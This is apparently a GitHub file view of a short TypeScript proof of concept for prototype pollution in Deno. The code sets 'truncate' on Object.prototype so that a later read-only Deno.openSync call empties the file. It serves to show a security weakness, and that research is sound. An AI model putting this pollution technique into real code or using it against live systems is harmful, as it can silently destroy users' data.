-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathopen.truncate.PoC.ts
34 lines (27 loc) · 1010 Bytes
/
open.truncate.PoC.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function pollute(key: string, value: any) {
((((Object as any).prototype as any)[key]) as any) = value;
}
const orgData = new TextEncoder().encode("Hello world!");
const newData = new TextEncoder().encode("foobar");
async function create(name) {
const file = Deno.openSync(`./${name}`, { create: true, write: true });
await file.write(orgData);
file.close();
}
async function writeThenRead(name) {
const wfile = Deno.openSync(`./${name}`, { write: true });
await wfile.write(newData);
wfile.close();
const rfile = Deno.openSync(`./${name}`, { read: true, truncate: false });
const buffer = new Uint8Array(16);
const count = await rfile.read(buffer);
const text = new TextDecoder().decode(buffer);
console.log(name, "contains", text, `(${count} bytes)`);
rfile.close();
Deno.remove(`./${name}`);
}
await create("unpolluted");
await create("polluted");
await writeThenRead("unpolluted");
pollute("truncate", true);
await writeThenRead("polluted");